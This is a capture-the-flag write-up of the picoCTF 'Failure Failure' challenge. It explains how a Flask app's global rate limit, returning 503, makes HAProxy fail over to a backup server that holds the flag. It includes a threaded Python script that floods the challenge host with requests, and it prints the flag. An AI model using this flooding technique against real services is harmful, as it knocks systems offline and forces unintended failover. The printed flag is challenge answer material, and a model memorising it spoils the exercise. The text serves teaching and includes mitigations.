picoCTF Writeup — Failure Failure

medium.com · mayhack · 17 days ago · tutorial
quality 7/10 · good
0 net
picoCTF Writeup — Failure Failure | by mayhack - Freedium Milestone: 20GB Reached We’ve reached 20GB of stored data — thank you for helping us grow! Patreon Ko-fi Liberapay Close < Go to the original picoCTF Writeup — Failure Failure Introduction mayhack Follow ~4 min read · March 24, 2026 (Updated: March 25, 2026) · Free: Yes picoCTF Writeup — Failure Failure Introduction In this picoCTF challenge called "Failure Failure" , we are presented with a web service behind a load balancer (HAProxy) . The goal is to retrieve a flag that is hidden on a backup server , but the load balancer will normally only send traffic to the primary server . To solve this challenge, we need to force the load balancer to fail over to the backup server. This challenge teaches an important real-world lesson about misconfigured rate limiting and failover systems . Challenge Description The challenge description states: "Welcome to Failure Failure — a high-available system. This challenge simulates a real-world failover scenario where one server is prioritized over the other. A load balancer stands between you and the truth — and it won't hand over the flag until you force its hand." From the description we learn: The system has two backend servers One server is primary The other server is backup The flag is only available when the backup server is active Our job is to force the load balancer to switch to the backup server . Understanding the Application We are given the Flask source code of the web application. Important part of the code: def global_rate_limit_key(): return "global" This means all users share the same rate limit . The application also uses a rate limiter: default_limits=["300 per minute"] So the server allows 300 requests per minute globally . If the limit is exceeded, the application triggers an error handler: @app.errorhandler(429) def ratelimit_exceeded(e): return "Service Unavailable: Rate limit exceeded", 503 Here is the key detail: Instead of returning HTTP 429 (Too Many Requests) , the application returns HTTP 503 (Service Unavailable) . This is extremely important. Where the Flag Is Stored Inside the home route: if os.getenv("IS_BACKUP") == "yes": flag = os.getenv("FLAG") else: flag = "No flag in this service" This tells us: ServerBehaviorPrimary serverShows "No flag in this service" Backup serverReturns the real flag So our goal becomes clear: Force the load balancer to route requests to the backup server. Load Balancer Behavior The challenge uses HAProxy as the load balancer. The configuration shows something like: server s1 :8000 check server s2 :9000 check backup Meaning: s1 (port 8000) → primary server s2 (port 9000) → backup server HAProxy performs health checks on the primary server. It expects the response: HTTP 200 If the server stops returning 200 , HAProxy considers it unhealthy and switches traffic to the backup server . The Vulnerability Now we connect everything. When the rate limit is exceeded: Flask returns HTTP 503 HAProxy interprets 503 as server failure After enough failures, the primary server is marked DOWN Once the primary server is down: ➡ HAProxy activates the backup server And the backup server has: IS_BACKUP = yes Which reveals the flag . So the attack becomes simple: Trigger the rate limiter until the primary server starts returning HTTP 503. This tricks HAProxy into thinking the server is broken. Exploitation Strategy Our attack steps: Send a large number of requests quickly Exceed the 300 requests per minute limit The server begins returning 503 HAProxy health checks see the 503 errors HAProxy marks the primary server DOWN Traffic is redirected to the backup server The backup server reveals the flag Exploit Script We can automate the attack using Python. The idea is to send hundreds of requests simultaneously . import requests from concurrent.futures import ThreadPoolExecutor import re import time URL = "http://mysterious-sea.picoctf.net:60811/" def send_request(): try: r = requests.get(URL, timeout=3) return r except: return None # Flood the server print("Flooding the server to trigger rate limit...") with ThreadPoolExecutor(max_workers=100) as executor: for _ in range(600): executor.submit(send_request) # Poll for the flag print("Checking for flag...") for _ in range(30): r = requests.get(URL) if "picoCTF" in r.text: flag = re.search(r"picoCTF{.*}", r.text) print("Flag:", flag.group(0)) break time.sleep(1) This script: Sends 600 requests quickly Exceeds the 300/min rate limit Forces HAProxy to fail over Polls the server until the flag appears Flag After the failover happens, the backup server returns the flag: picoCTF{f41l0v3r_f0r_7h3_w1n_f8510432} Security Impact This challenge demonstrates how misconfigured rate limiting can impact infrastructure . Because the application returned 503 instead of 429 , the load balancer interpreted the rate limit as a server failure . This allowed an attacker to: Manipulate load balancer routing Force failover Access sensitive data on the backup system Mitigation Developers can prevent this issue by: 1. Use Correct Status Codes Rate limiting should return: HTTP 429 — Too Many Requests Not 503. 2. Separate Health Check Endpoints Load balancers should check a dedicated health endpoint , not the main application route. Example: /health 3. Avoid Global Rate Limits Rate limits should be per IP or per user , not global. 4. Backup Servers Should Not Expose Secrets Backup systems should behave the same as primary systems and never expose sensitive data . Conclusion This challenge highlights how multiple small design decisions can combine into a vulnerability . By flooding the server and triggering the rate limiter, we caused the load balancer to misinterpret the application's response and fail over to the backup server — revealing the flag. It's a great example of how infrastructure logic can be exploited in security testing . 📬 Stay Connected If you found this helpful and want to learn more about web security, hands-on labs , feel free to follow me for upcoming posts. ✍️ Follow me for more cybersecurity write-ups 🔗 LinkedIn — codermayank 📸 Instagram — @mayhack_ Tags: #BugBounty #EthicalHacking #ChatGPT #CyberSecurity #AIforSecurity #PenetrationTesting #HackerOne #Bugcrowd #WebSecurity #InfoSec #cybersecurity #ctf #picoctf #bug-bounty #hacking Reporting a Problem Sometimes we have problems displaying some Medium posts. If you have a problem that some images aren't loading - try using VPN. Probably you have problem with access to Medium CDN (or fucking Cloudflare's bot detection algorithms are blocking you).